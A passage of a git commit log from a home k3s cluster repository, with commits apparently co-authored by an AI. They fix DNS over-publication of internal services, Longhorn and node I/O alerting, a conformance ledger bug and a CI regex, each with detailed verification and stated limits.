(their CNPs admit `world`), so Cluster removes no protection, and adding a LAN-only filter during an outage fix could cut off off-LAN players or a remote site's device informing. No CiliumNetworkPolicy change is needed, and that was verified rather than assumed: Cilium's `cluster` entity subsumes `remote-node`, confirmed by dumping the crafty endpoint's datapath policy map with the CNP unmodified (`reserved:remote-node` was already an Allow on the game ports). Unlike pihole, whose policy omits `cluster` and must name remote-node explicitly. Adds an L0 whole-repo guard for the class. It fails on the pre-fix tree with exactly these four Services named and passes after. whole-repo scope is necessary: ci/touched-requirements.sh has no arm for apps/* or platform/crafty/*, so the change most likely to reintroduce this would attribute no requirement and be gated by nothing. HONEST LIMIT -- this does NOT end the reported outage. All four ports also have no listening backend: UniFi OS was never installed in the VM (its README flags this as the open blocker) and /crafty/servers is empty, so no Minecraft server exists. Probed directly from the node, bypassing the VIP entirely, 10.0.0.74:8443/:8080/:11443 and 10.0.0.11:25565 all refuse, while the two controls answer. This commit fixes a real latent defect that would have blackholed those VIPs once the applications exist; it cannot make an absent application answer. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-14 01:32:47 -05:00
jakman85andClaude Opus 5	4080065aa7	feat(dns): `exposure: internal` can no longer publish a public record docs/09 R-DNS-03 and schemas/renderer-contract.md both said an `internal` service renders no public DNS record. Nothing enforced either sentence. ExternalDNS's `gateway-httproute` source admitted EVERY HTTPRoute on the shared Gateway, so six `exposure: internal` services — jackett, pihole, qbittorrent, radarr, semaphore, sonarr — published `<name>.home.keithjackson.dev` into the public authoritative Cloudflare zone answering with the Gateway VIP 192.168.2.20. That published the internal subnet, the Gateway VIP and a full service inventory to anyone who could guess a label, and made each of those names a DNS-rebind primitive — which is why the SOHO router strips RFC1918 answers and LAN clients need per-client dnsmasq overrides to reach their own services. THE MECHANISM, established against the DEPLOYED version rather than from memory. The live prod Deployment runs registry.k8s.io/external-dns/external-dns:v0.21.0. In v0.21.0, source/annotations/processors.go IsControllerMismatch() skips a source object whose `external-dns.alpha.kubernetes.io/controller` annotation is present and != its own `dns-controller`, and source/gateway.go applies that check inside Endpoints() BEFORE any hostname is resolved; source/service.go applies the identical check, covering the second configured source. catalog/render.py now emits that annotation on every HTTPRoute it renders for an `internal` service, derived from `exposure` alone — no per-service list — so a service that omits `exposure` inherits the internal default and is unpublishable too. Verified LIVE on prod on a throwaway hostname with no existing record at risk: the annotated route published nothing, and adding the annotation to a route that already had a record produced action=DELETE for both its A record and its `a-` TXT registry entry one ~60s reconcile later, moving nothing else in the zone. WHY PER-RESOURCE AND NOT A CLUSTER-WIDE OPT-IN FILTER. `labelFilter` is the stronger default posture and v0.21.0 supports it for both configured sources, but nine publishing objects here are hand-authored platform/apps manifests with no `exposure` field, seven of which hold live records (auth, crafty, crafty-mc, grafana, headlamp, the apex, unifi). An opt-in filter deletes all seven at once, and whether each should be publicly resolvable is an operator decision per name. Per-resource exclusion has exactly the blast radius of the defect; the seven are enumerated in a shrink-only register so the unadjudicated set cannot grow silently, and the filter stays available as hardening afterwards. `policy: sync`, `txtOwnerId` and `domainFilters` are UNTOUCHED. Per-resource exclusion only ever removes an object from this instance's view, so nothing here makes prod capable of deleting a record it does not own. WHAT THIS DELETES, and it is not reversible by a revert alone: 12 records — the A record and the `a-`-prefixed TXT registry entry for each of jackett, pihole, qbittorrent, radarr, semaphore and sonarr. The zone has no `.home.keithjackson.dev` wildcard and `.keithjackson.dev` does not match two labels, so each becomes a public NXDOMAIN with no fallback. The complete pre-state is captured at the authority and committed as a recovery baseline (.standup-dns/dns-20260914-pre-externaldns-scope.txt), with the restore procedure for both halves of a record. MERGE ORDER IS NOT OPTIONAL: feat/pihole-lan-dns-authority must land and be verified first. Removing these records while the LAN still depends on them, with the router stripping RFC1918 and no internal authority yet, breaks name resolution outright. The five `exposure: public` services are LEFT UNCHANGED and still answer with the Gateway VIP, so they remain publicly unreachable. That is two open operator decisions, both written up in platform/externaldns/helmrelease.yaml: what address they should answer with (136.51.115.252 is the legacy non-k3s stack serving a placeholder cert, not established as correct for this cluster), and how to separate them from the non-public names that share the Gateway — because in v0.21.0 the target annotation is read only from the GATEWAY and a ListenerSet, never from an HTTPRoute, so a per-service override is not expressible while they all attach to `shared`. No knob is added for it yet: one that cannot take effect invites someone to set it and expect one. Guard: conformance/tests/l0-static/internal-services-publish-no-public-dns, a whole-repo-scoped L0 static check (no ci/l0.sh stage — the whole-repo-invariants-wired meta-test forbids one). It asserts both directions (present on internal, absent on public), the `service`-source half, that the renderer DERIVES the annotation from `exposure` and cannot emit external-dns's own claiming value, proves the shipped renderer end-to-end on internal/public/omitted-field fixtures, and ratchets the non-catalog register. Proven to fail on the pre-fix tree (9 of 53 assertions, naming all six services) and pass after (56/56). Schema 1.6.0 -> 1.7.0: no field changes, a mapping change to `exposure`. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-14 00:43:12 -05:00
jakman85andClaude Opus 5	3a72b07cda	chore(conformance): shrink UNTESTED_ALERTS by the two PSI detectors node-io-cause.test.yaml's healthy fixture asserts NodeIOPressureHigh and NodeIOPressureCritical quiet on the same measured prod state the eight new cause rules are pinned against — the point of that fixture being that the detectors and the cause rules must agree about what "healthy" is. The shrink-only register entries are therefore stale, and the gate correctly refused them. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 22:38:09 -05:00
jakman85andClaude Opus 5	b9f3143f42	feat(monitoring): name the CAUSE of node I/O pressure, not just the stall NodeIOPressureCritical has now fired twice on k3s-prod-1 for opposite causes and said the same thing both times. On 2026-09-14 02:40-02:45Z it fired at PSI(full) 20.98% — twice the threshold, four times the 2026-09-07 level — while every local device was idle (0.09-0.27 utilisation) and fast (1.4-4.8 ms per write), NFS retransmissions were zero and no Longhorn volume was degraded. Establishing that took eight ad-hoc PromQL queries after the event had already recovered. Adds the group platform-health.node-io-cause: eight rules, one per cause class, each naming its cause in its own summary. NodeDiskDeviceSaturated device saturation >0.85 busy, 10m NodeDiskWriteLatencyHigh device latency >20ms/write, 10m NodeDiskWriteLatencyCritical device latency >50ms/write, 5m NodeDiskReadLatencyHigh device latency >250ms/read, 15m NodeNFSRetransmissionRateHigh NFS transport >1% retransmitted, 10m NodeIOPressureNotLocalDisk not local disk PSI>10% with all of the above absent NodeEtcdRequestsSlow etcd >0.5% of etcd requests over 1s ContainerIOStallHigh which workload per-container PSI >15% Every threshold is measured on prod over 24-48h, not guessed, and each rule records its headroom. The PSI thresholds themselves are deliberately unchanged: the 21% stall was real, it fired twice in 24h for two real events on the one node that has a problem, and raising the bar would also have raised it above the 11.36% at which prod-1 was already losing etcd on 2026-09-07. Context reaches the operator at page time three ways: the summary states the cause class; every rule carries a diagnostic_query annotation with the exact companion PromQL; and node-pressure-dashboard.yaml gains a WHY row (seven panels) plotting saturation, write/read service time, NFS retransmissions, our own NFS op rate, the etcd slow-request fraction and per-container PSI side by side. runbooks/node-io.md gains a 10-row triage table with the real healthy / 2026-09-14 / 2026-09-07 columns, which turns those eight queries into a two-minute read. etcd and NFS metric availability, verified on prod rather than assumed: * etcd SERVER disk metrics do NOT exist. etcd_disk_wal_fsync_duration_seconds and etcd_disk_backend_commit_duration_seconds are absent (kubeEtcd disabled for k3s); a query for etcd_disk_/etcd_server_/etcd_mvcc_* returns nothing at all. NodeEtcdRequestsSlow uses the apiserver's client-side view of its own local member instead, and says in its own description that it is a proxy. * node_nfs_* DOES exist — the nfs collector is on by default, host-wide via /proc/net/rpc/nfs, confirmed on all three nodes. It gives op counts and retransmissions and NO latency, so it can see a dropping export but not a slow one. The mountstats collector is enabled here to close that gap; NO rule references node_mountstats_* yet, because the series do not exist until the HelmRelease rolls out and the collector's visibility through the node-exporter mount namespace must be verified on prod first. The runbook records the check and says to revert if it comes back empty. Proof, per the repo's two shipped alerting failure modes: * platform/monitoring/tests/node-io-cause.test.yaml — 7 fixtures, all from measured profiles: healthy (all 8 quiet), 2026-09-14 (NotLocalDisk fires and names sonarr), 2026-09-07 re-queried at offset 164h (write-latency and etcd fire, NotLocalDisk correctly silent), rebuild storm, NFS transport, read latency, and the `unless` semantics. * 10 mutations of the shipped rules, all killed. The mutation run found a real gap: the etcd threshold could be changed without failing any test, because it was only pinned by a promql_expr_test that restated the threshold in the test file. An alert_rule_test now pins it. * All 11 referenced metrics verified to return series on prod with `promtool query instant`, and all 8 expressions verified quiet on today's state. Also extends the alert-metrics-have-scrape-targets owner table for container_* (the kubelet ServiceMonitor's cAdvisor path, which this entry already claimed in its title) and for etcd_request_duration_seconds_* by EXACT NAME, deliberately not by an etcd_ prefix, so a future rule on the unscraped etcd_disk_* names still fails the gate. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 22:35:19 -05:00
jakman85andClaude Opus 5	4f2ca8c1a3	test(conformance): record the L0 verifier for R-STATE-03 / R-ENV-02 A requirement reads PROVEN only when EVERY verifying test has a fresh ledger row — the state is the minimum across them, so a test with no row contributes not-derivable and one recorded verifier cannot manufacture green. R-STATE-03 carries two executable verifiers (L0 + L3). The L3 dr-restore proof landed in bd17b65; this records the L0 side, placeholder-guard-coupling, which also carries R-ENV-02. Worth noting it is the test that was permanently SKIPPED until earlier today — it was hiding a red, and now it runs and is recorded. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 21:19:19 -05:00
jakman85andClaude Opus 5	bd17b65db9	test(conformance): R-STATE-03 PROVEN on prod — DR restore from R2, off-cluster Phase 7's outstanding exit criterion. The only previous dr-restore proof was recorded on the dev cluster (decommissioned 2026-09-12) against MinIO, so it could not speak for prod or for today's Cloudflare R2 target. Run 20260914T021505Z-24b8111, env=prod, kube v1.36.4+k3s1, chainsaw v0.2.12, 150.70s, 1 passed / 0 failed / 0 skipped. Sentinel DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK. What makes it a real proof rather than a green check: the test seeds a canary on the replicated longhorn class, backs the namespace AND volume data up to the off-cluster store, then DESTROYS every in-cluster copy — namespace, PVC and PV — before restoring into a clean, previously-nonexistent namespace. It asserts the restored PVC binds a DIFFERENT PersistentVolume (pvc-f0c061e1 != pvc-4107d59d) and fails explicitly if it rebinds the original, because that would be an in-cluster survival masquerading as a restore. The canary came back byte-identical. It touches no real service's namespace, PVC or PV — the scratch namespaces are named after its own Chainsaw namespace and are destroyed by design. This is the run whose first attempt was discarded for recording env=dev; the recorder fix is `24b8111`, which this proof is recorded against. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 21:18:11 -05:00
jakman85andClaude Opus 5	24b8111d0c	fix(conformance): the ledger stamped every proof env=dev regardless of cluster gate / gate (push) Has been cancelled Details gate / conformance (push) Has been cancelled Details record_run.py defaulted --env to the literal 'dev' (os.environ.get("CONF_ENV", "dev")) and run.sh hardcoded the same fallback at both call sites, while CONF_ENV is set nowhere in this repo. So every recorded proof claimed dev no matter which cluster it ran against. Harmless while dev was the only cluster. Dev was decommissioned 2026-09-12, and today a genuine DR-restore run against k3s-prod was recorded as env=dev — caught before it was committed, and the record discarded rather than hand-edited. A proof that lies about WHERE it was proven is worse than no proof, because locating the demonstration is the ledger's whole job; it would also have looked like a sixth dev-only row while actually being the prod proof Phase 7 is waiting on. env is now derived from k3s-prod (k3s-prod -> prod), which cannot drift from the cluster the run actually talked to. An undeterminable context records 'unknown', never a cluster name, and an unexpected context is recorded verbatim so it is visible rather than coerced. CONF_ENV still overrides. Recorder selftest passes. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 21:13:51 -05:00
jakman85	52398d4426	merge: Longhorn alerting measured the wrong things, three ways gate / gate (push) Has been cancelled Details gate / conformance (push) Has been cancelled Details (1) LonghornVolumeCapacityHigh alarmed on ALLOCATION while calling itself a capacity alarm. Prometheus's TSDB volume read 0.973 while the kubelet saw the same filesystem at 0.208, because 37.73 GiB of it is a Longhorn SYSTEM snapshot — the kind taken for the full replica rebuild that prod-1's drive replacement forced — growing +152 MB/h while the filesystem stayed flat. The rule was therefore unclearable by design, i.e. permanently firing. Deleted as redundant, shown rather than asserted: 23 of 24 volumes fall under the kubelet-based filling rules, and the 24th is volumeMode Block, which the deleted rule was not covering either. (2) LonghornVolumeDegraded and LonghornVolumeFaulted could not fire even with the scrape working. longhorn_volume_robustness on 1.12.1 is ONE-HOT over a state label with values 0/1, not the 0-3 enum the rules and their comment assumed, so a faulted volume would have alerted nobody. This survived the scrape fix landing hours earlier. (3) LonghornNodeStorageHigh was wrong twice: its 0.85 threshold sat above the 75% at which storage-minimal-available-percentage=25 already removes a disk from the scheduling pool, and longhorn_node_storage_usage_bytes SUMS a node's disks, so one full disk hid behind a half-empty sibling. Replaced with per-disk LonghornDiskAllocationHigh (>0.70) and LonghornDiskUnschedulable, the latter reading Longhorn's own verdict instead of re-deriving a formula from three settings no metric exports. Baseline green with 11/11 mutations red. retentionSize 45GiB of 50Gi and discard/TRIM are both REPORTED with recommendations, not changed: TRIM would not have helped here, since remove-snapshots-during-filesystem-trim is false and the 37.7 GiB is a snapshot. # Conflicts: # DECISIONS-LOG.md	2026-09-13 17:23:37 -05:00
jakman85andClaude Opus 5	4687521d65	fix(monitoring): delete the Longhorn rule that measured allocation and called it capacity LonghornVolumeCapacityHigh went pending within minutes of the Longhorn scrape landing today. Re-measured on prod: it read 0.9731 on the Prometheus TSDB volume (actual_size 52243681280 / capacity 53687091200) while the kubelet reported the SAME filesystem 20.8% used. actual_size is head + pinned snapshots, and one user_created=false system snapshot from prod-1's replica rebuild holds 40510484480 bytes (37.7 GiB) of it; Longhorn returns no freed blocks without discard/TRIM, and retentionSize 45GiB on a 50Gi volume targets 90% by design. The ratio is pinned near 1.0 and cannot fall back under 0.85 — a permanently-firing alert, the same shape as CNPGNoRecoverabilityPoint. DELETED, not re-thresholded. Raising the threshold would tune away a true statement about allocation. Redundancy proven, not asserted: of 24 Longhorn volumes on prod, 23 appear in kubelet_volume_stats_inodes > 0 and so fall inside MonitoringVolumeFillingUp (namespace="monitoring") or PersistentVolumeFillingUp / PersistentVolumeAlmostFull. The 24th is unifi/unifi-rootdisk, volumeMode Block — no filesystem for anyone to measure, and the deleted rule was not covering it either. AND A SECOND INERTNESS the scrape did not fix. longhorn_volume_robustness on longhorn 1.12.1 is one-hot over a `state` label with values 0/1, not the 0-3 enum the rules assumed: count(longhorn_volume_robustness) => 96 (24 volumes x 4 states) count by (state) (longhorn_volume_robustness == 1) => {state="healthy"} 24 count(longhorn_volume_robustness == 2) => (empty) count(longhorn_volume_robustness == 3) => (empty) So a FAULTED volume would still have alerted nobody. Re-keyed to the label; the "44 series / 72 unknown(0, detached)" note in platform/longhorn/helmrelease.yaml was the same misreading and is corrected in place. The allocation question moved to where allocation is a budget. LonghornNodeStorageHigh fired at 0.85, but storage-minimal-available-percentage is 25 on this cluster, so a disk leaves the scheduling pool at 75% used — the old threshold could only fire after scheduling had already been refused. Replaced by: LonghornDiskAllocationHigh (longhorn_disk_usage_bytes / longhorn_disk_capacity_bytes) > 0.70, 30m LonghornDiskUnschedulable longhorn_disk_status{condition="schedulable"} == 0, 15m Per DISK, not per node: longhorn_node_storage_usage_bytes sums a node's disks, so one full disk could hide behind a half-empty sibling. Measured prod usage 0.2254 / 0.2306 / 0.2369 on prod-1/2/3. PROVEN NEITHER PERMANENTLY FIRING NOR INERT. platform/monitoring/tests/longhorn.test.yaml adds 6 cases pinning every rule quiet on today's measured prod state and firing on a constructed bad state, with every `for:` asserted, plus regression assertions that the old `== 2`/`== 3` forms match nothing and that per-disk 0.72 is visible where the node-summed 0.475 is not. Mutation-checked 11 ways; each turns the suite RED. Live on prod: all four new expressions return empty, while the sum of their selector cardinalities is 54. The L0 UNTESTED_ALERTS register shrinks by seven (7/56 -> 14/58 alert rules unit-tested), which also brings MonitoringVolumeFillingUp, PersistentVolumeFillingUp and PersistentVolumeAlmostFull under test since the redundancy claim rests on them. REPORTED, NOT CHANGED (DECISIONS-LOG, owner decisions): retentionSize 45GiB on a 50Gi volume is too tight — recommend 36GiB, with reasoning; and discard/TRIM on the longhorn StorageClass is feasible but not advisable now — remove-snapshots-during- filesystem-trim reads false on prod, so trim would not have reclaimed the 37.7 GiB anyway, and continuous discard on nodes where the etcd WAL shares the spindle points at this cluster's known failure mode. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 17:19:03 -05:00
jakman85andClaude Opus 5	cf7d97e546	fix(obs): twelve app SLI rules read a signal that exists; kill the dead ServiceMonitors Twelve `<app>-down` SLI rules were STRUCTURALLY INERT. Each read `up{job="<app>"} == 0`, and the ServiceMonitor rendered beside it named `endpoints[].port: metrics` — a port NO rendered app Service defined. Every monitor discovered ZERO targets, so no `up{job="<app>"}` series existed and the rule could not fire. Verified on prod before this change: `count by (job) (up)` listed 24 jobs and not one of the twelve appeared; `up{job="plex"}` and `up{job="gitea"}` both returned nothing. `PrometheusTargetsMissing` could not see it either — a target that was never discovered has no `up` series to be 0. THE PORT NAME WAS NEVER THE MISSING PIECE. Ground truth per app: Plex, Pi-hole, Jackett, qBittorrent, Sonarr, Radarr, Seerr, Semaphore and Nextcloud export NO Prometheus metrics without a separate exporter sidecar; Gitea can but only with app.ini metrics enabled; Keycloak does, on the operator's management port, already scraped by platform/keycloak/servicemonitor.yaml; vm-demo is a KubeVirt VM with no Service at all, so its monitor selected nothing whatsoever. `metrics: true` was asserting a fact none of them had. There was also a THIRD layer of inertness nobody had hit yet: every app namespace ships default-deny with `ingress: []` and the renderer emitted no monitoring allow, so even a correct port would have been dropped by policy — while renderer-contract.md claimed the baseline carried such an allow. FIXED IN THE GENERATOR, not in twelve rendered files: * `slis: [up]` now renders a `<app>-down` alert against kube-state-metrics readiness of the service's own workload object — `kube_deployment_status_replicas_available{namespace,deployment} == 0 or absent(...)`, `kube_statefulset_status_replicas_ready` for a StatefulSet, and `absent(kubevirt_vmi_info{namespace,name,phase="running"})` for a VM. The same idiom KeycloakDown has used since it was fixed. kube-state-metrics IS scraped, so this needs no exporter and no new target. The `or absent(...)` half is load-bearing: the signal DISAPPEARING now fires the alert instead of silencing it. * schema 1.6.0 adds `observability.metricsEndpoint` — WHERE metrics are served. A ServiceMonitor is rendered ONLY from it, and it renders all three halves of a working scrape together: the named Service port, the monitor endpoint, and the monitoring-namespace CiliumNetworkPolicy allow. No catalog entry declares one, so twelve dead ServiceMonitors are gone. `metrics: true` keeps meaning logs-to-Loki plus kube-state-metrics liveness. * schema 1.6.0 also adds `observability.livenessWorkload`, and catalog/keycloak.yaml uses it. Keycloak's server is a StatefulSet run by the operator; the default Deployment shape would have made its `absent()` half fire FOREVER — the other failure mode this repo has shipped. * renderer selftest gains cases 9/9a/9b/9c: no metricsEndpoint => no monitor; the up SLI must not read `up{job=...}`; endpoint port must exist on the Service; the metrics port must NOT reach the Gateway allow; an unknown livenessWorkload.kind is REFUSED. PROOF, both directions, for all twelve (apps/wave-{0,1,2}/tests/app-slis.test.yaml, run by platform/monitoring/tests/run.sh over the RENDERED manifests): * quiet on the healthy state; firing on no-ready-replica; firing when the series is ABSENT; the VM asserted both gone and in a non-running phase; per-app isolation asserted, and keycloak asserted un-maskable by its neighbours (keycloak-operator Deployment, keycloak-db StatefulSet ready in the same namespace). * mutation-checked: six mutations, each turning its suite red — reverting plex to `up{job=...} == 0`; dropping seerr's `absent()` half; pointing keycloak at a Deployment; capitalising the VMI phase to `Running`; widening keycloak's matcher to the namespace; inverting plex's `== 0` to `!= 0`. Control run green. * live on prod with `promtool query instant`: all ten deployed app Deployments export `kube_deployment_status_replicas_available`, `kube_statefulset_status_replicas_ready{namespace="keycloak",statefulset="keycloak"}` = 2, `kubevirt_vmi_info` present with a lowercase `phase="running"`; and evaluating the twelve SHIPPED expressions returns no series for eleven (quiet, not permanently firing). The twelfth is vm-demo, which is not in apps/wave-0/kustomization.yaml and so is not deployed — its rule is not applied either. DELETION WAS NOT THE ANSWER, and the evidence is recorded rather than assumed: kube-prometheus-stack's `kubernetes-apps` group IS live on prod (17 rules, KubePodNotReady / KubeDeploymentReplicasMismatch among them), so app pods are not unmonitored — but that is a generic warning keyed to a namespace, not the per-service CRITICAL SLI R-OBS-01 declares. platform/monitoring/alerts.yaml carries no generic app-readiness rule at all. GUARD SO IT CANNOT RECUR SILENTLY: new whole-repo L0 invariant conformance/tests/l0-static/servicemonitor-ports-resolve. It walks the MONITORS, not the alerts, so it needs no `up{job=...}` rule to reach one, and resolves each endpoint by SELECTOR across the whole tree rather than by same-file adjacency. Fixing the alerts DELETED the only thing that made the broken monitors visible to the sibling check, which is exactly why this axis needed its own home. It declares `conformance.home.k3s/scope: whole-repo` and adds no ci/l0.sh stage. Proven to FAIL on the pre-fix tree: 15 failures — eleven port disagreements, vm-demo's monitor matching no Service at all, and the three generator/contract assertions — and to pass after. Its resolver is additionally proven on in-check fixtures (agreeing pair accepted, disagreeing pair rejected, target-less endpoint rejected), because after the fix there are zero in-repo monitors left for it to judge and a guard whose only evidence is "nothing failed" cannot be told apart from one that stopped working. It also asserts r_servicemonitor does not HARDCODE a port name — the mechanism by which one edit gave twelve services the same wrong one. Also fixed, found on the way: * platform/monitoring/tests/run.sh discovered the SUITE convention only inside platform/monitoring/tests/ while documenting it as general — a suite added anywhere else was never run and still looked like coverage. Now discovered tree-wide; a misplaced .test.yaml fails loudly instead of vanishing. KNOWN_UNWIRED_JOBS in alert-metrics-have-scrape-targets is now EMPTY, and the twelve apps/* entries in alert-rules-unit-tested's UNTESTED_FILES are gone — both because the gaps were CLOSED, not waived. Both registers are shrink-only and a stale entry fails. * renderer-contract.md claimed the default-deny baseline carried a standing monitoring scrape allow. It never did; the claim is corrected and the allow is now real, per declared metrics endpoint and scoped to that one port. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 17:11:30 -05:00
jakman85andClaude Opus 5	a76ae3bdfa	fix(ci): the content scan could not match R-C2-01/02 — a digit in the workstream segment Checked as part of closing the C2 coverage gaps, and it was live on main. The content scan's pattern was `R-[A-Z]+-[0-9]+`, which CANNOT match an ID whose workstream segment carries a digit: `[A-Z]+` consumes the `C` of `R-C2-01` and then demands a `-` where the `2` is. `R-C2-01` and `R-C2-02` are the only two such IDs in conformance/requirements/registry.yaml, and the scan was blind to BOTH. REPRODUCED before the fix, on a throwaway repo whose only change is a manifest declaring both IDs on real (non-comment) lines, in a path the map keys to nothing: $ REPO_ROOT=$T BASE_REF=main ci/touched-requirements.sh R-NET-06 # the all-letter control ID was the ONLY output It failed by UNDER-attributing, which is the fail-OPEN direction: a change that retyped a `conformance.home.k3s/R-C2-01` tag, or a manifest self-declaring R-C2-02, contributed those IDs to NOBODY, so the C2 tests were filtered out of the merge gate. Same defect class as the map's `) : ;;` arm — a miss that reads as "nothing touched". Every other consumer in the repo already allowed the digit, which is why this was the lone dissenter: test_requirements_for_path() twenty lines above in this same script, conformance/lib/coverage.py, conformance/lib/status.py and conformance/lib/ run_l1_offline.py all use `R-[A-Z0-9]+-[0-9]+`. Aligned to that form, with the reason recorded at the line. SCOPE OF THE HOLE. path_requirements() has no arm for platform/homepage/ or platform/headlamp/* either, so before this the ONLY route to R-C2-01/02 was detection rule 3 (editing the C2 conformance test itself). No path-map arm is added here: c2-root-surface declares `scope: whole-repo`, so ci/l0.sh Stage 3b's --include-scope union selects it on EVERY gate invocation regardless of the touched set — which is the right mechanism for an invariant whose input surface is the whole tree, and strictly stronger than a two-component path arm would be. REGRESSION-TESTED, in ci/tests/touched-requirements.test.sh (the suite `make -C ci test` runs): a fixture declaring R-C2-01 / R-C2-02 / R-OBS-04 from `notes/` — a path outside path_requirements(), so the IDs can only come from the content scan — asserts both digit IDs ARE attributed, that the all-letter form still is (control), and that a purely numeric workstream is not invented (the pattern must not widen the gate on noise). PROVEN TO DETECT BREAKAGE: with the pattern reverted to `R-[A-Z]+-[0-9]+` the suite reports `FAIL (2 failed, 14 passed)` naming both C2 IDs as missing; restored, all three ci/ suites pass (16 assertions in this one). ALSO: conformance/tests/l0-static/whole-repo-invariants-wired/check.sh cites this pattern in the comment explaining why its BOGUS_REQ fixture is lowercase. Citation updated so the reasoning still reads true; the fixture is unaffected (grep -E is case-sensitive, and the check still passes 26/26). NOTE: another branch may be editing this same script concurrently. This is a one-line change to one statement plus its comment — expect a trivial conflict and keep the `[A-Z0-9]` form. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 16:28:21 -05:00
jakman85andClaude Opus 5	f57c411953	test(conformance): L0 covers R-C2-01 / R-C2-02 — 49 assertions, and it is RED The Test DECLARATION landed in the preceding WIP commit with no check.sh, so the test could not run at all. This is the check: 49 offline assertions over the repository as git tracks it, no cluster, no network, no spec repo (R-TEST-06). THE RULE. Every home-zone hostname the repository routes over HTTP must be linked from the apex dashboard's configuration; every home-zone link the dashboard offers must resolve to something the repository actually serves (an HTTPRoute at L7 or a hostname-publishing LoadBalancer Service at L4); and the two R-C2-02 surfaces must be linked, reconciled and backed by real alert rules, with operational rights arriving per-user through OIDC groups rather than through a shared cluster-admin identity. IT IS RED ON MAIN, on the forward direction: FAIL (8) every service the repo ROUTES over HTTP is surfaced on the C2 root. Unsurfaced: crafty.${BASE_DOMAIN} (platform/crafty) platform/crafty/httproute.yaml serves crafty.${BASE_DOMAIN} through the shared Gateway, clusters/base/crafty.yaml reconciles it, and nothing on the C2 root links to it. R-C2-01 says the root MUST surface "the services running in the cluster and links to them", so an unsurfaced route is a requirement gap, not a styling preference. Fixed in the next commit, deliberately separate so the RED is in the history. WHAT IS ASSERTED BEYOND THE PRIOR ATTEMPT (49c160d on feat/coverage-debt-paydown, whose tree is ~107 commits behind and was NOT merged): (0) THE INPUT SURFACE ITSELF. The forward direction is only as good as the set of manifests it reads, so three assertions guard the guard: the scanned roots are present, every manifest in them PARSES (an unparseable file is a service the check cannot see), and EVERY Flux-reconciled path lies inside a scanned root — so a future tier reconciling, say, ./services fails loudly instead of letting the dashboard hide all of it. conformance/ is deliberately excluded from the scan: its fixtures and goldens declare synthetic HTTPRoutes (paas-demo, gw-declared- conformance) that are test data, not services the cluster serves. The prior attempt excluded them only by accident, through a filename prefilter. (5) postBuild.substituteFrom ON THE DASHBOARD'S TIER. Hostnames are ${BASE_DOMAIN} tokens now, not the literals the prior attempt compared. Without substitution the apex route binds the literal host `${BASE_DOMAIN}` (matching no listener) and every tile links to a host that does not exist — while Flux still reports the Kustomization Ready. It fails OPEN, which is this repo's most-repeated incident shape. (12) TOKENS, NEVER LITERALS. No href may name a literal `home.keithjackson.dev` host, so prod's front door cannot link dev's services — the 2026-09-04 class (two clusters authored to describe the same names, prod's external-dns then deleting dev's records), applied to the C2. (2) THE SECTIONNAME IS PROVEN LOAD-BEARING rather than asserted from prose: the wildcard listeners are shown to exist AND to be distinct from the apex listener, which is why `*.${BASE_DOMAIN}` cannot serve the bare apex. (10) THE REVERSE DIRECTION NOW ACCEPTS L4. The UniFi tile points at :11443 on a hostname published by apps/vms/unifi/50-service-l4.yaml (a KubeVirt VM behind a pinned Cilium LoadBalancer VIP). That is something this repo serves, so it resolves — no off-cluster declaration is needed for it any more. The declaration hatch is kept and constrained (specific home-zone hostnames, may not shadow a hostname the repo does serve) but is EMPTY today, which is the honest state. WHOLE-REPO SCOPE, as the declaration says. The invariant quantifies over every tracked manifest that can declare an HTTPRoute; the change that BREAKS it is a route added somewhere else entirely (`apps/wave-1/newthing.yaml` attributes R-GITOPS-02 or nothing, never R-C2-01), and ci/touched-requirements.sh has no path-map arm for platform/homepage or platform/headlamp at all. Requirement-scoped selection would filter this check out of exactly the change that introduces the bug — the R-TEST-03 blind spot. No ci/l0.sh stage is added: Stage 3b's --include-scope union selects it, and whole-repo-invariants-wired fails the gate if anyone hand-adds one. HONEST GAPS, in the check's own header: it does not fetch the apex (L2, covered for the Gateway/TLS half under R-DNS-01 / R-TLS-01); (19) reads a DECLARED auth posture because no Gateway ext-authz attachment exists anywhere in this repo, and says so in the assertion text; it does not judge whether a tile is useful; and an L4-ONLY endpoint (crafty-mc, a Minecraft game port) is reported as an ADVISORY rather than required, because a raw TCP/UDP endpoint has no URL a browser can follow. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 16:28:21 -05:00
jakman85andClaude Opus 5	0fe12b8332	WIP: L0 test declaration for R-C2-01 / R-C2-02 (no check.sh yet) INCOMPLETE — preserved by the PM after the authoring agent died to a server error mid-task (its third attempt; the first two died to a session rate limit). Do not merge. R-C2-01 and R-C2-02 are the only 2 remaining coverage gaps on main (49/51). This is the chainsaw Test declaration only: it quotes both requirements verbatim from the spec, cites docs/12-command-center-ui.md for which surface serves which half (Homepage at the root for R-C2-01, Headlamp for R-C2-02's 'controlled operational actions where safe', Grafana for dashboards/alerts), and argues why the deciding half is L0 rather than L2 — reachability is already covered by l2-behavioral/gateway-ingress-reachable, whereas whether the root surfaces THE SERVICES THE CLUSTER RUNS is a comparison of two sets that are both repository facts. WHAT REMAINS: check.sh does not exist, so this test cannot run at all. Also still open: whether 'a service the root hid' (from the prior art commit 49c160d on feat/coverage-debt-paydown) is still a live defect, whether ci/touched-requirements.sh can attribute R-C2-01/02 at all (a digit in the workstream segment reportedly broke the content scan), and the R-TLS-02 decision summary. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 16:28:21 -05:00
